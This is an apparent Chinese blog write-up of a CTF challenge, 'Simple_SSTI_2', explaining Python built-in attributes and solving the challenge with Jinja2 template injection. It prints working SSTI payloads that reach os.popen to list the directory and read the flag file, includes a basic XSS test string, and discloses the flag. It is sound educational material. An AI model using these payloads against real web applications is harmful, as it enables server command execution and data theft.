Simple_SSTI_2

文章介绍了Python类的内置属性,特别是__init__,并展示了如何利用这些属性结合os.popen方法查看当前目录和读取文件。解题步骤包括查看当前目录和打开无后缀的flag文件来获取flag值。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


前言

要想做到这个题,先要了解SSTI_2模板注入详解


一、python类的内置属性

先看如下一段代码:

class Restaurant:
    """类"""

    def __init__(self, restaurant_name, cuisine_type):
        self.restaurant_name = restaurant_name
        self.cuisine_type = cuisine_type

    def describe_restaurant(self):
        print(f"{self.restaurant_name} -> {self.cuisine_type}")

    def open_restaurant(self):
        print('营业中')

restaurant = Restaurant('7天酒店', 100)
print(restaurant.__init__)

什么是内置属性如上的__init__就是内置属性,可以这么认为,内置属性就是__英文字母__这样格式的字符串

  • class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类
  • init 初始化类,返回的类型是function
  • globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
  • os.popen() 方法用于从一个命令打开一个管道。
  • open() 方法用于打开一个文件,并返回文件对象
    python内置属性大全

二、解题步骤

1.查看当前目录

?flag = {{ config.__class__.__init__.__globals__['os'].popen('ls ').read() }}

在这里插入图片描述

为什么是这样的了?,为什么这样就可以查看当前目录了?,这又是什么东西?,好,你先输入?flag = <script>alert(1)</script>,会出现弹窗,但是这不是反射性xss,也可以说是反射型xss,但是flag不存在前端,反射性xss一般是获取前端数据

  • {{}}:类似于python的f"{变量}"解释变量
  • config.class.init.globals[‘os’]:配置的类的操作系统
  • popen(‘’):系统语句
  • read():读取语句类容

2. 打开flag文件得到flag

在Linux操作系统下,没有后缀的文件当作文本文件处理

?flag = {{ config.__class__.__init__.__globals__['os'].popen('cat flag ').read() }}

在这里插入图片描述

flag:flag{c77ca5c36d8baa014fa9bd96b8933719}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

三年之约-第二年

你的鼓励是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值